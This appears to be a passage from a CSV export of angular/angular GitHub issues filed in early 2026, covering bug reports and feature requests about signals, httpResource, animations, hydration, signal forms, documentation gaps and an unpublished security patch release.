Because these styles are treated as **inline styles**, browsers block them when the ... [TRUNCATED]","area: security,gemini-triaged",2026-03-09T13:36:02Z,2026-03-09T17:44:21Z,2
angular/angular,4045220808,HTTP Common folder disappeared,"### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description



263 x 9
 powershell
1 Hidden Terminal
CHAT
PRERENDERING IMPLEMENTATION INQUIRY
Here is a template you can use to report this issue to the Angular team:

Title:
Angular v21+ packages missing @angular/common/http directory, only .msj files present, causing ""Cannot find module '@angular/common/http'"" errors

Description:
After installing any Angular v21.x.x version, the common package does not contain the traditional http directory. Instead, it contains files like http.msj. My project and the Angular CLI (v21+) cannot resolve imports from @angular/common/http, resulting in errors like:


Cannot find module '@angular/common/http' or its corresponding type declarations.
Environment:

Node.js: v24.14.0
npm: 11.10.0
Angular CLI: 21.2.1 (also tested 21.1.0, 21.2.0, etc.)
TypeScript: 5.9.3
OS: Windows 10 x64
Steps to reproduce:

Create a new Angular project or update to v21.x.x.
Run npm install.
Check common — the http directory is missing, only http.msj is present.
Attempt to import from @angular/common/http in your code.
Build or prerender — you get module not found errors.
Expected behavior:
The Angular CLI and TypeScript should be able to resolve imports from @angular/common/http (or the new .msj format should be documented and supported out of the box).

Actual behavior:
Builds fail with ""Cannot find module '@angular/common/http'"" errors.

Additional info:

This h... [TRUNCATED]","area: common/http,gemini-triaged",2026-03-09T12:08:41Z,2026-03-09T12:18:11Z,2
angular/angular,4044470359,feat: Add Hydration Perf Counters to public API,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

<img width=""1208"" height=""528"" alt=""Image"" src=""https://github.com/user-attachments/assets/6683f320-70fb-453a-b421-50db1c9e60b3"" />



### Proposed solution

Having these data available also on production would help track hydration issues easier. 
While what we have now are just counters, adding more data that we can use would be great (like which views were removed, what components etc.)

```ts
provideClientHydration(
  withHydrationDebugData() 
)
```

### Alternatives considered

- ","area: core,gemini-triaged",2026-03-09T09:34:43Z,2026-03-18T16:49:35Z,3
angular/angular,4038274852,docs(docs-infra): add Turkish community translation link,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I noticed that community translations of the Angular documentation have been growing, which is great to see. Making documentation available in different languages helps more developers learn and adopt Angular.

To contribute to this effort, I started a community-driven Turkish translation to make Angular more accessible for Turkish-speaking developers.

Website: https://angular-docs.tr/
Repository: https://github.com/erkamyaman/angular-tr

I plan to actively maintain the translation and keep it aligned with the official documentation. I also hope to receive support from the Turkish Angular community so that, together, we can improve and expand the translation over time.

### Proposed solution

Add the Turkish translation link to the ""Community translations""
section in the Angular documentation footer (angular.dev).

This would allow Turkish-speaking developers to easily discover
the community-maintained Turkish Angular documentation.

### Alternatives considered

None.","area: docs-infra,gemini-triaged",2026-03-07T11:29:41Z,2026-03-09T18:31:00Z,1
angular/angular,4035822191,provideZoneChangeDetection necessary if you want to use zone.js,"### Describe the problem that you experienced

In the documentation about provideZoneChangeDetection you can read the following statement ""[NgZone](https://angular.dev/api/core/NgZone) is already provided in applications by default. This provider allows you to configure options like eventCoalescing in the [NgZone](https://angular.dev/api/core/NgZone)."".
This sounds to me like is not strictly required since it's provided by default. But in Angular 21 you need to provide it in the root providers if you want to use zone.js.

### Enter the URL of the topic with the problem

https://angular.dev/api/core/provideZoneChangeDetection

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,help wanted",2026-03-06T19:33:09Z,2026-03-10T17:21:10Z,2
angular/angular,4035251967,"httpResource.reload() not works if httpResource.status is ""idle""","### Which @angular/* package(s) are the source of the bug?

common

### Is this a regression?

No

### Description

If the callback returns `undefined` to cancel the request, the status becomes `idle`, preventing a manual call to `reload()`.
How can I cancel the request without changing the status to `idle`?
Or is there a way to reset the `status`?

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.8.0
Package Manager   : npm 11.6.0
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.0            │ 21.2.0            │
│ @angular/cdk              │ 21.2.0            │ 21.2.0            │
│ @angular/cli              │ 21.2.0            │ 21.2.0            │
│ @angular/common           │ 21.2.0            │ 21.2.0            │
│ @angular/compiler         │ 21.2.0            │ 21.2.0            │
│ @angular/compiler-cli     │ 21.2.0            │ 21.2.0            │
│ @angular/core             │ 21.2.0            │ 21.2.0            │
│ @angular/forms            │ 21.2.0            │ 21.2.0            │
│... [TRUNCATED]","area: common/http,cross-cutting: resource,gemini-triaged",2026-03-06T17:10:45Z,2026-03-25T17:46:07Z,10
angular/angular,4029977767,Make `@defer (on viewport)` configurable via DI,"
`@defer (on idle)` recently added a DI extension point by introducing an `IdleService` interface and letting apps override it via the `provideIdleServiceWith`. In https://github.com/angular/angular/pull/67262

It would be useful to offer the same for `@defer (on viewport)` by allowing applications to provide a custom viewport observer implementation.


### Proposed solution

We could implement something like `provideViewportObserverServiceWith`, allowing `ViewportObserverService` to be customized by users. This would make it possible to configure `IntersectionObserverOptions` or use experimental options like [`delay`](https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API#delay) without requiring major changes to the internals of the framework.



 I would be happy to open a PR with the implementation","area: core,gemini-triaged",2026-03-05T18:48:33Z,2026-03-05T18:52:33Z,3
angular/angular,4025173201,PR #62284 (commit 3c008c9) introduced an O(N²) performance regression for computed signals that depend on many producers.,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

**PR [#62284](https://github.com/angular/angular/pull/62284) (commit [3c008c9](https://github.com/angular/angular/commit/3c008c92635bc80d2942b53a318d3cb10975882a)) introduced an O(N²) performance regression for computed signals that depend on many producers.**

The refactor from arrays to linked lists in the reactive graph (`producerNode[]` → `producers`/`producersTail` linked list) introduced a function `isValidLink()` that performs a **linear scan** of the entire producer linked list every time a previously-tracked signal is re-read during a recomputation.

In Angular v19 (arrays), re-reading an already-tracked producer was O(1) via indexed array access. In v20+ (linked lists), `isValidLink()` walks from `consumer.producers` (head) through the chain to find `checkLink`, making each re-read O(K) where K is the position in the list. This compounds to O(N²) for N producers.

#### The problematic code path

In `producerAccessed()`:

```typescript
const prevConsumerLink = node.consumersTail;
if (
  prevConsumerLink !== undefined &&
  prevConsumerLink.consumer === activeConsumer &&
  (!isRecomputing || isValidLink(prevConsumerLink, activeConsumer)) // ← O(N) scan
) {
  return;
}
```

`isValidLink()` walks the entire linked list from head to tail:

```typescript
function isValidLink(checkLink, consumer) {
  const producersTail = consumer.producersTail;
  if (producers... [TRUNCATED]","area: performance,regression,area: core,state: has PR,cross-cutting: signals",2026-03-05T01:49:07Z,2026-06-17T18:38:07Z,2
angular/angular,4023377968,Reactivity of httpResource can work in an unintuitive way,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

The way httpResource's reactivity is implemented can lead to unintentional reloads.

For example:

```ts
interface Product {
  id: number;
  hasData: boolean;
  description: string;
}

@Component({
  imports: [ChildComponent, FormsModule],
  template: `
    <div>
      <label>Description</label>
      <input type=""text"" [(ngModel)]=""description"">
    </div>
    <app-child-component [product]=""product()"">
  `
})
class HostComponent {
  product = signal<Product>({id: 1, hasData: true, description: ''});
  description = linkedSignal(() => this.product().description);
  constructor() {
    effect(() => {
      const description = this.description();
      const product = untracked(this.product);
      if (product.description !== description) {
        this.product.set({...product, description});
      }
    });
  }
}

@Component({ selector: 'app-child-component' })
class ChildComponent {
  product = input.required<Product>();
  productData = httpResource(() => `/api/product-data/${this.product().id}`);
}
```

For every letter typed in the HostComponent, the child component's httpResource will fire a new HTTP Request, even though the resource requested is the exact same every single time.

This is because currently httpResource reloads whenever any signal value used inside of the urlFn is updated.


### Proposed solution

I think the urlFn should automatically be converted into a c... [TRUNCATED]","area: core,gemini-triaged",2026-03-04T18:11:05Z,2026-03-04T20:54:37Z,2
angular/angular,4021608024,Generic Typing on viewchilds read is lost,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When using viewchild and specifing a the type of ElementRef that is read, the type information is somehow not available in the resulting value:
```ts
private div = viewChild.required('div', {read: ElementRef<HTMLDivElement>});
```

Result:
<img width=""991"" height=""145"" alt=""Image"" src=""https://github.com/user-attachments/assets/6b8f1b36-9dbb-46cd-a4fa-5d3719853039"" />

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/vzmca4bx?file=src%2Fmain.ts

","area: core,gemini-triaged",2026-03-04T11:51:19Z,2026-03-04T11:55:09Z,2
angular/angular,4019658437,Angular v20.3.17/v19.2.19 tagged on GitHub but not published to npm,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

The v20.3.17 security release was tagged on GitHub but not published to the npm registry, preventing Angular 20.x users from receiving the fix for CVE-2026-27970 (XSS via i18n ICU messages).

**Evidence:**
GitHub release exists: https://github.com/angular/angular/releases/tag/v20.3.17 (published ~Feb 26, 2026)- npm view @angular/core@20.3.17 returns no results — the version does not exist on the npm registry- The latest npm dist-tag for @angular/core still points to 20.3.0- The same security fix was correctly published for v19.2.19 (npm legacy tag) and v21.1.6 / v21.2.0 (npm latest tag)

**Impact:**
Users on Angular 20.x who cannot upgrade to 21.x are unable to remediate CVE-2026-27970, CVE-2025-66412, and the @angular/common XSRF vulnerability through normal npm install or npm ci workflows. Security scanning tools (Snyk, npm audit) recommend upgrading to 20.3.17, but the version is unavailable.

**Expected behavior:**
All patch versions tagged on GitHub (v20.3.14, v20.3.15, v20.3.17) should be published to the npm registry for @angular/core, @angular/common, @angular/compiler, and all other @angular/* packages included in those releases.

### Please provide a link to a minimal reproduction of the bug

https://www.npmjs.com/package/@angular/core?activeTab=versions Please provide the exception or error you saw:

### Please provide the exception or error you saw

``... [TRUNCATED]","area: core,gemini-triaged",2026-03-04T02:19:38Z,2026-03-04T02:24:33Z,2
angular/angular,4018454827,Missing Step in Tutorial,"### Describe the problem that you experienced

I am new to Angular and followed the ""Learn Angular Signals"" Tutorial. I noticed step 3 requires to connect parent signals to child inputs, eventough the parent signals are not added yet and 'signal' not imported to the parent component. I believe an in-between step is missing.

### Enter the URL of the topic with the problem

https://angular.dev/tutorials/signals/5-component-communication-with-signals

### Describe what you were looking for in the documentation

import signals to `app.ts` and add parent signals  `productName = signal('Demo Product'); productPrice = signal(99); productAvailable = signal(true);` 

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs,gemini-triaged",2026-03-03T20:01:06Z,2026-03-11T14:24:15Z,2
angular/angular,4018164540,VS Code extension template checking functions as if typescript strict mode is enabled,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

Yes

### Description

Recently (I'm assuming since version 21.2 of the vscode extension, but it could have been when Angular itself was updated to 21.2 or thereabouts), I've started seeing type errors in templates getting flagged **in the IDE only** due to errors related to types not including null when using the safe navigation operator, as I would expect if strictNullChecks=true or strict=true was enabled in tsconfig.  However, for my projects we have not enabled strict mode yet, for better or for worse.  The default if nothing is specified for ""strict"" or ""strictNullChecks"" in Typescript 5.9 and lower is supposed to be as if strict mode was disabled, but it is currently being interpreted as if strict mode is enabled (or at least strictNullChecks=true).  ""strictTemplates"" is on in my tsconfig and has been for years.  I did recently remove ""fullTemplateTypeChecks"" because it is redundant to ""strictTemplates"", but whether I specify that or not seems to make no difference for this bug.

Actually compiling the application works as expected, with these sorts of template issues not being flagged.  Only the IDE is showing them as errors.  If I set either strict to ""false"" or strictNullChecks to ""false"", the IDE does not flag these errors, so it seems highly likely to be related to interpretation of defaults from tsconfig.  (Perhaps this is related to the typescript 6 initial... [TRUNCATED]","area: vscode-extension,gemini-triaged",2026-03-03T18:36:22Z,2026-03-04T20:43:31Z,11
angular/angular,4015918405,@switch exhaustiveness does not work for @for loop nad @if variables,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

Summary
`@switch` exhaustiveness checks do not work when switching on a variable introduced by `@for` or `@if`.

Example

```html
@for (nested of nesteds; track nested) {
  @switch (nested.type) { 
    @case ('alpha') { 
      <span>{{ nested.alpha }}</span> 
    } 
    @case ('beta') { 
      <span>{{ nested.beta }}</span> 
    } 
    @default never; 
  }
}

@if (optional.maybe; as union) {
  @switch (union.type) { 
    @case ('alpha') { 
      <span>{{ union.alpha }}</span> 
    } 
    @case ('beta') { 
      <span>{{ union.beta }}</span> 
    }
    @default never; 
  }
}
```

Expected behavior
`@switch` exhaustiveness should work for `@for` loop / `@if` variables (including their discriminant fields), the same way it works for direct const references, when the switched value is a finite/discriminated union.

Actual behavior
The compilator reports an error.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-4ticm6ar

### Please provide the exception or error you saw

```true
✘ [ERROR] TS2322: Type 'any' is not assignable to type 'never'. [plugin angular-compiler]

✘ [ERROR] TS2339: Property 'kind' does not exist on type 'never'. [plugin angular-compiler]
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
_                      _                 ____ _   ... [TRUNCATED]",area: compiler,2026-03-03T10:32:34Z,2026-03-24T21:42:30Z,11
angular/angular,4013628932,"In some cases, the `animate.leave` animations leave a component in the DOM.","### Which @angular/* package(s) are the source of the bug?

animations

### Is this a regression?

Yes

### Description

With Angular 21.2.0 it seems that something broke with the CSS animations. To make thinks simple I created a directive to add animations to html elements. This directive uses `animate.leave`. 

Starting from version 21.2.0, it seems that components are not removed after they animate on ""leave"" when routing away from an component. See the stackblitz below. It mini project has 2 routes with components. And 2 links that switch between the two routes.

I think it is related to https://github.com/angular/angular/pull/67032

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-htmhdsyu

If you click on `first`, then `second`, you will notice that the new component showing ""TEST"" appears, but the old component (green square) stays and is not removed from the DOM. 

Clicking on `first` again, will show another (duplicate) component (green square).

### Please provide the exception or error you saw
```true
Components not being removed.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 24.13.0
Package Manager   : npm 11.6.2
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requ... [TRUNCATED]","area: core,state: has PR,core: animations",2026-03-02T22:29:01Z,2026-03-04T16:21:40Z,9
angular/angular,4011680805,Invalid errors displayed in template,"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

After updating to 21.2.0 i got a lot of issues from Template type-checking diagnostics. Some of them are valid, and some of them - not. For example:
I'm definitely checking for the prop to exist
<img width=""417"" height=""131"" alt=""Image"" src=""https://github.com/user-attachments/assets/6cda4393-5c12-491a-8f99-d565bc09b5cd"" />

But still get the error
<img width=""937"" height=""202"" alt=""Image"" src=""https://github.com/user-attachments/assets/0ddae0d6-738c-4bf4-8887-83de14d9cb88"" />

 

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

The error should not be displayed if i did the check before

### Please provide a screenshot if possible [Bug Report only]

_No response_

### Please provide the exception or error you saw [Bug Report only]

```true

```

### Description [Feature Request only]

_No response_

### Proposed solution [Feature Request only]

_No response_

### Alternatives considered [Feature Request only]

_No response_","area: compiler,gemini-triaged",2026-03-02T14:50:03Z,2026-03-02T14:52:43Z,2
angular/angular,4011431233,Using TestBed.overrideComponent to mock dependencies breaks code coverage,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

We mock the dependencies of our standalone components using TestBed.overrideComponent with vitest and v8-coverage.

As soon as we do this, the HTML coverage drops. It's as if the coverage provider thinks that the component is not being used at all because it's not the ""real"" component anymore, but an overriden version.

In the attached example repo (minimal reproduction), coverage is 100% when not using TestBed.overrideComponent:


```typescript
  it('should create the app', async () => {
    TestBed.configureTestingModule({
      imports: [App],
    });
    const fixture = TestBed.createComponent(App);
    await fixture.whenStable();
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });
```

<img width=""556"" height=""185"" alt=""Image"" src=""https://github.com/user-attachments/assets/fcc5ce2e-e257-4cfc-b963-7512623e4236"" />

After overriding the component to mock the child:

```typescript
  it('should still provide all code coverage', async () => {
    TestBed.configureTestingModule({
      imports: [App],
    }).overrideComponent(App, {
      set: {
        imports: [MockAppChild],
      },
    });

    const fixture = TestBed.createComponent(App);
    await fixture.whenStable();
    const app = fixture.componentInstance;
    expect(app).toBeTruthy();
  });
```
<img width=""537"" height=""186"" alt=""Image"" src=""https://github.com/... [TRUNCATED]","area: testing,gemini-triaged",2026-03-02T13:57:47Z,2026-03-02T13:59:36Z,2
angular/angular,4010543929,background-color in Side Navigation is not proper for - rc and next versions,"### Describe the problem that you experienced

Hello !

I have noticed one minor bug which is related to Side Navigation Bar, Where when i switch documentation for either rc or next versions. 

The contents in side navigation bar are not readable because of light background gradient.
Anything with a dark overly will be able to solve the issue.

### Enter the URL of the topic with the problem

https://next.angular.dev/

### Describe what you were looking for in the documentation

_No response_

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Adding a dark overlay without disturbing the backdround gradient would be fine as it will differeniate both rc and next documentation keeping content to be more readable.

Here is my fix 

**_Dark Mode_**
<img width=""1728"" height=""895"" alt=""Image"" src=""https://github.com/user-attachments/assets/3a5da43b-65e4-47ca-804c-181070be590d"" />

**_Light Mode_**
<img width=""1728"" height=""913"" alt=""Image"" src=""https://github.com/user-attachments/assets/f1e208ae-ee0c-4f32-b143-bce5d9a40a48"" />

Open for suggestions and feedback.

### Add a screenshot if that helps illustrate the problem

**_Dark Mode_**
<img width=""3536"" height=""1895"" alt=""Image"" src=""https://github.com/user-attachments/assets/9294848d-fc6d-4749-a129-d4253ba387de"" />

**_Light Mode_**
<img width=""3733"" height=""1900"" alt=""Image"" src=""https://github.com/user-attachments/assets/53b736cf-b... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-03-02T10:40:46Z,2026-03-07T20:30:10Z,2
angular/angular,4004469771,Importing UpgradeModule gives multiple angular zones,"### Which @angular/* package(s) are the source of the bug?

upgrade

### Is this a regression?

Yes

### Description

When you import `UpgradeModule` in a zone-based application it will result in multiple angular zones being created.

This causes issues with APIs like `NgZone.runOutsideAngular()` as it makes the assumption that the outer zone is not the angular zone (which it can be if there are multiple angular zones). See the minimal reproduction.

### Please provide a link to a minimal reproduction of the bug

https://github.com/HazzMan2409/multiple-ng-zone

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.0
Angular           : 21.2.0
Node.js           : 22.17.1
Package Manager   : npm 10.9.2
Operating System  : darwin arm64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.2.0            │ ^21.2.0           │
│ @angular/cli              │ 21.2.0            │ ^21.2.0           │
│ @angular/common           │ 21.2.0            │ ^21.2.0           │
│ @angular/compiler         │ 21.2.0            │ ^21.2.0           │
│ @angular/compiler-cli     │ 21.2.0            │ ^21.2.0           │
│ @angular/core             │ 21.2.0            │ ^21.2.0           │
│ @angular/forms            │ 21.2.0            │ ^21.2.0        ... [TRUNCATED]","area: upgrade,gemini-triaged",2026-02-28T11:06:50Z,2026-02-28T14:09:33Z,4
angular/angular,4004347028,submit() + FormRoot throws NG01915 runtime error,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Using `submit()` and `[formRoot]` in signal forms throws a runtime error:

```ts
import { Component, signal } from '@angular/core';
import { form, FormField, FormRoot, submit } from '@angular/forms/signals';

@Component({
  selector: 'app-root',
  imports: [FormRoot, FormField],
  template: `
    <form [formRoot]=""form"" (submit)=""save()"">
      <label>
        Name:
        <input type=""text"" [formField]=""form.name"" />
      </label>
      <button type=""submit"">Save</button>
    </form>
  `,
})
export class App {
  private readonly formModel = signal({ name: '' });
  protected readonly form = form(this.formModel);

  protected save(): void {
    // runtime error
    submit(this.form, () => Promise.resolve());
  }
}
```

results in runtime error:

```
ERROR RuntimeError: NG01915: Cannot submit form with no submit action. Specify the action when creating the form, or as an additional argument to `submit()`.
```

I indicated a repository with reproduction steps below.

It is because `FormRoot` calls `submit()` internally, without action ([code here](https://github.com/angular/angular/blob/73b6135bf51622e82ba624493317276500af8f78/packages/forms/signals/src/directive/ng_signal_form.ts#L45)).

It means that if using manual `submit()`, it is not possible to use the benefits of `FormRoot` (`novalidate` + `event.preventDefault()`).

Proposed solution below in [this commen... [TRUNCATED]","area: forms,area: docs,forms: signals",2026-02-28T10:01:19Z,2026-03-23T22:41:23Z,11
angular/angular,4000367283,Feature request: Add Azerbaijani localization reference (angular.az),"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hello,

I have contributed to translating and publishing an Azerbaijani localization of Angular resources.

As suggested, I am sharing the link to the Azerbaijani community translation below for your reference:
Azərbaycan: https://angular.az/

This initiative aims to make Angular more accessible to the Azerbaijani developer community.

Thank you.

Best regards,
Tapdiq Alishov

### Proposed solution

Include the Azerbaijani community-maintained translation (https://angular.az/
) in the list of community localization resources, if it meets the project guidelines.

### Alternatives considered

None.","area: i18n,area: docs-infra,gemini-triaged",2026-02-27T10:41:18Z,2026-03-04T15:58:22Z,3
angular/angular,4000143432,New animate.leave behaviour in 21.2 does not remove components with inner infinite animations,"### Which @angular/* package(s) are the source of the bug?

animations, core

### Is this a regression?

Yes

### Description

In 21.2 the animate.leave behaviour has changed so that all inner animations render before the outer component is removed.  This means that if you have an inner element that has an infinite animation (like you may do with a spinner), it will never be removed.  I've worked around this for the moment by using the Shadow DOM but I think this scenario should be special-cased.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: core,core: animations",2026-02-27T09:47:48Z,2026-02-27T18:21:59Z,12
angular/angular,3997965922,v22 migration : model + output,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

With #65952 merged as a breaking change, it would be a nice to have to write a migration for some of the cases that surfaced on G3. 

1. model + output
```ts 
foo = model<string>;
fooChange = output<string>();  // or `@Output()`
```

becomes 

```ts
fooInput = input<string>({alias: 'foo')
foo = linkedSignal(this.fooInput);

fooChange = output<string>(); 
```

If ever other cases arise we can improve the migration later. ","open for contributions,area: migrations",2026-02-26T21:58:42Z,2026-04-28T19:43:57Z,2
angular/angular,3996618392,Event replay causes doubled interactions when elements become interactable before app is stable,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When using `withEventReplay()`, events that make it through to hydrated components (and are handled by them) while the app is not ""stable"" yet are still replayed when the app becomes stable later. This causes lots of potential usability issues, like duplicated modals opening, toggles turning back off, etc. Event replay seems to falsely assume that components are not interactable until the app is completely stable.

The repro I've thrown together below is a super contrived example (it's explicitly delaying app stability) but I'm seeing this issue happening frequently in multiple large Angular applications I work on. These apps often have pages with hundreds of Angular components that all take different amounts of time to hydrate & have numerous API dependencies that can contribute to this stability blocking.

Obviously, to some extent, a solution is to optimize the app better, but event replays are intended to capture events that were not handled so they can be handled later, not duplicate them like this. This issue is itself causing major UX issues, and one of the most promising paths toward optimizing things -- incremental hydration -- requires event replay to be enabled.

### Please provide a link to a minimal reproduction of the bug

https://github.com/w-biggs/angular-eventreplay-issue-repro

### Please provide the exception or error you saw

```true

```

### ... [TRUNCATED]",area: core,2026-02-26T16:49:27Z,2026-04-28T00:07:39Z,6
angular/angular,3994653059,Bug in signal change detection,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Please take a look at this example first.

```typescript
import { Component, OnInit, WritableSignal, signal } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';

interface Test {
  name: string;
  value?: string;
}

@Component({
  selector: 'app-root',
  template: `
    <span>Name: {{ mySignal().name }}</span>
    <br>
    @if (mySignal().value === undefined) {
      <span>No value</span>
    }
    @else {
      <span>Value: {{ mySignal().value }}</span>
    }
  `,
})
export class App implements OnInit {
  mySignal: WritableSignal<Test> = signal({ name: 'Name', value: undefined });

  public ngOnInit(): void {
    this.loadValue();
  }

  private async loadValue(): Promise<void> {
    const data = this.mySignal();
    await new Promise((r) => setTimeout(r, 2000));
    data.value = 'Value';
    this.mySignal.set(data);
  }
}

bootstrapApplication(App);
```

In the example we have the signal `mySignal`. This signal is a object from the interface `Test`. Test has the key named `value` which is represents data we need to load. Is is initialised with `undefined`.

We have the async function `laodData()` which called from `ngOnInit` and is responsible for loading the data. It does the following:
1. Read the current value of `mySignal`
2. Wait 2 seconds (represents an API call)
3. Set the value to `Value`
4. Update the signal

So aft... [TRUNCATED]",,2026-02-26T10:25:50Z,2026-02-26T10:59:32Z,2
angular/angular,3993589323,auto suugestionds ,"
Type: <b>Bug</b>

please turn off the auto  suggestions

Extension version: 21.2.1
VS Code version: Code 1.109.5 (072586267e68ece9a47aa43f8c108e0dcbf44622, 2026-02-19T19:43:32.382Z)
OS version: Windows_NT x64 10.0.26200
Modes:

<details>
<summary>System Info</summary>

|Item|Value|
|---|---|
|CPUs|AMD Ryzen 5 5625U with Radeon Graphics          (12 x 2296)|
|GPU Status|2d_canvas: enabled<br>GPU0: VENDOR= 0x1002, DEVICE=0x15e7 [AMD Radeon (TM) Graphics], DRIVER_VENDOR=AMD, DRIVER_VERSION=31.0.12046.5001 *ACTIVE*<br>GPU1: VENDOR= 0x1414, DEVICE=0x008c [Microsoft Basic Render Driver], DRIVER_VERSION=10.0.26100.7309<br>Machine model name: <br>Machine model version: <br>direct_rendering_display_compositor: disabled_off_ok<br>gpu_compositing: enabled<br>multiple_raster_threads: enabled_on<br>opengl: enabled_on<br>rasterization: enabled<br>raw_draw: disabled_off_ok<br>skia_graphite: disabled_off<br>trees_in_viz: disabled_off<br>video_decode: enabled<br>video_encode: enabled<br>webgl: enabled<br>webgl2: enabled<br>webgpu: enabled<br>webnn: disabled_off|
|Load (avg)|undefined|
|Memory (System)|7.34GB (1.03GB free)|
|Process Argv|--crash-reporter-id 387359ea-342a-4acf-9db0-0fd2d21d3997|
|Screen Reader|no|
|VM|0%|
</details><details>
<summary>A/B Experiments</summary>

```
vsliv368cf:30146710
binariesv615:30325510
nativeloc1:31344060
dwcopilot:31170013
dwoutputs:31242946
copilot_t_ci:31333650
e5gg6876:31282496
pythonrdcb7:31342333
6518g693:31463988
aj953862:31281341
63221493:31336333
e... [TRUNCATED]",,2026-02-26T06:34:00Z,2026-02-26T09:27:43Z,1
angular/angular,3992487441,Neither the dependency injection docs nor the router docs clearly indicate the order in which route providers are instantiated,"### Describe the problem that you experienced

No where in the docs is there a description of when exactly instances defined by route providers are actually created. This leads to the following questions:

* Can guards and resolvers inject something that was provided in a route provider?
* Do things provided in route providers have access to the ActivatedRoute? The ActivatedRouteSnapshot? To each other? Does the order they are specified matter?

### Enter the URL of the topic with the problem

https://angular.dev/guide/di/defining-dependency-providers#route-providers

### Describe what you were looking for in the documentation

A full and concise description of how Route providers work

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

More documentation

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: router,area: docs",2026-02-26T00:07:50Z,2026-02-26T16:20:01Z,2
angular/angular,3991688301,regression: signal forms: input of type date isn't required anymore when cleared,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Since version 21.2.0, an input of type date in a signal form, when the user erases its day, month or year, keeps its value instead of becoming empty, and becomes invalid with a parse error.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-a71rmrvl?file=src%2Fmain.ts

### Please provide the exception or error you saw

When populating the birth date field and then erasing one or even all of its components (day, month or year), I expect the value to become empty again (or better: null, like when a number input is erased), and the `required` error to reappear. Instead, the value stays as it was before, the field becomes invalid, with a parse error.

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.5
Angular           : 21.2.0
Node.js           : 20.19.1
Package Manager   : pnpm 8.15.6
Operating System  : linux x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.5            │ ^21.1.5           │
│ @angular/cli              │ 21.1.5            │ ^21.1.5           │
│ @angular/common           │ 21.2.0            │ 21.2.0            │
│ @angular/... [TRUNCATED]","area: forms,forms: signals",2026-02-25T20:40:25Z,2026-03-20T22:10:28Z,29
angular/angular,3988880070,Tosignal issue with micro frontend,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

```
@Component({
  selector: 'app-root',
  template: ` Hello world! {{ seconds() }}`,
})
export class Playground {
  seconds = toSignal(interval(1000), { initialValue: 0 });
}

```
this code work fine with standalone angular app , issue is with micro frontend
 
this code throw error in micro frontend
 
toSignal() can only be used within an injection context such as a constructor, a factory function, a field initializer, or a function used with `runInInjectionContext`.
 
to solve above i have added enviornment injector

```
